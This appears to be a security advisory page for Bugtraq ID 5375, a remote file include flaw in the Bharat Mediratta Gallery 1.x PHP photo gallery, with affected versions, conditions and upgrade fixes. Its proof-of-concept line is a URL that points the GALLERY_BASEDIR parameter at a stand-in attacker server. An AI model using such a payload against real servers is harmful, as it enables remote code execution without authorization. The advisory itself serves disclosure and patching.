Bharat Mediratta Gallery Remote File Include Vulnerability

BID:5375

Info

Bharat Mediratta Gallery Remote File Include Vulnerability

Bugtraq ID: 5375
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Aug 01 2002 12:00AM
Updated: Aug 01 2002 12:00AM
Credit: Discovery of this vulnerability credited to PowerTech.
Vulnerable: Bharat Mediratta Gallery 1.3
Bharat Mediratta Gallery 1.2.5
+ Debian Linux 3.0
- Francisco Burzi PHP-Nuke 5.0
- PostNuke Development Team PostNuke 0.7
Bharat Mediratta Gallery 1.2.4
- Francisco Burzi PHP-Nuke 5.0
- PostNuke Development Team PostNuke 0.7
Bharat Mediratta Gallery 1.2.3
- Francisco Burzi PHP-Nuke 5.0
Bharat Mediratta Gallery 1.2.2
- Francisco Burzi PHP-Nuke 5.0
Bharat Mediratta Gallery 1.2.1 p1
- Francisco Burzi PHP-Nuke 5.0
Bharat Mediratta Gallery 1.2.1
- Francisco Burzi PHP-Nuke 5.0
Bharat Mediratta Gallery 1.2
- Francisco Burzi PHP-Nuke 5.0
Bharat Mediratta Gallery 1.1
Not Vulnerable:

Discussion

Bharat Mediratta Gallery Remote File Include Vulnerability

Gallery is prone to an issue which may allow remote attackers to include arbitrary files located on remote servers. This issue is present in several PHP script files provided with Gallery. An attacker may exploit this by supplying a path to a file on a remote host as a value for the 'GALLERY_BASEDIR' parameter.

Exploit / POC

Bharat Mediratta Gallery Remote File Include Vulnerability

The following proof of concept was provided by [email protected]:
http://hostname/gallery/captionator.php?GALLERY_BASEDIR=http://your.evil.server.tdl/

Solution / Fix

Bharat Mediratta Gallery Remote File Include Vulnerability

Solution:
Reportedly, exploitation of this type of vulnerability is not possible unless both 'allow_url_fopen' and 'register_globals' are enabled in the local site PHP configuration.

It is good practice to disable any unneeded options.

The vendor is aware of this vulnerabilty. Gallery version 1.3.1 will be available for download on August 2, 2002. Fixes have been made available in the Gallery CVS tree. It is recommended that users download the newest version (1.3.1-cvs-b13 or better) when upgrading from the CVS snapshots.

FreeBSD has released upgrades. Users are advised to upgrade their Ports
collection and reinstall the affected port.

The following fixes are available:


Bharat Mediratta Gallery 1.1

Bharat Mediratta Gallery 1.2

Bharat Mediratta Gallery 1.2.1

Bharat Mediratta Gallery 1.2.1 p1

Bharat Mediratta Gallery 1.2.2

Bharat Mediratta Gallery 1.2.3

Bharat Mediratta Gallery 1.2.4

Bharat Mediratta Gallery 1.2.5

Bharat Mediratta Gallery 1.3

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report